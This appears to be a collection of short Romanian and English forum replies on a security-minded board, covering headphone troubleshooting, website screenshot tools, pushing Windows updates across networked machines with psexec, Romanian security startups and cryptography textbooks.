Oh, legalizarea prostitutiei? Nu mai bine cereau si ei legalizarea ierbii? Nu de alta, dar sunt sigur ca tara se va schimba daca niste astfel de persoane iau astfel de aciuni asupra unor site-uri aleatoare de prin Romania. </ironie>

Castile au buton on-off? Verifica sa fie pornite. Stiu ca pare stupid dar eu am patit asta Verifica manualul lor, e posibil sa fie necesare niste mizerii gen "tine apasat butonul x 7,3 secunde" sau mai stiu eu ce. Verifica daca la laptop e ok BT-ul incercand sa conectezi alt dispozitiv, nu stiu, orice. Verifica si sa conectezi castile la un alt laptop, sau la telefon, sa te asiguri ca merg.

Salut, toti cei mai batrani stim de Sub7 si stiam ca e facut de un roman, insa nu stiam ca e cineva zis "MobMan". Doar de curiozitate, de ce ai vrea sa dai de el?

Hi, there are multiple tools for this, the most common one is this: https://github.com/FortyNorthSecurity/EyeWitness But I also found https://github.com/gen2brain/url2img and I know for sure there are other tools as well but I cannot remember their names.

Daca sunt Windows, nu sunt si legate la un AD si nu e un WSUS pe acolo? Daca nu, e foarte posibil sa aiba ceva lucruri in comun, gen portul RDP deschis sau 137/445. Ar fi mai rapid decat o scanare de nmap cu -O. Ce poti face dupa, necesita cumva acces la toate acele masini, un cont de Administrator. Poti folosi psexec de exemplu (https://docs.microsoft.com/en-us/sysinternals/downloads/psexec) ca sa rulezi comanda de cmd de update, gen wuauclt.exe /updatenow

Se mai fac si in Romania, stiu ca una dintre firme care investeste in asa ceva este Orange. https://www.orange.ro/newsroom/media-detaliu/primele-startup-uri-selectate-in-orange-fab-romania-programul-de-accelerare-al-grupului-orange-1013 Unul dintre exemple este Pentest-Tools, iar altul Dekeneas: https://www.orange.ro/newsroom/comunicat/inovatii-1/primele-startup-uri-selectate-in-orange-fab-romania-programul-de-accelerare-al-grupului-orange-1013 Dar sunt sigur ca daca cineva vine cu o idee buna, o implementare frumoasa si un plan de business care pe termen lung pare sa aduca profit, se vor gasi investitori.

Eu am facut criptografie cu Atanasiu, poate fi util: - https://www.scribd.com/document/367468804/Atanasiu-Criptografie-Vol-1 - https://www.scribd.com/document/367470090/Atanasiu-Criptografie-Vol-2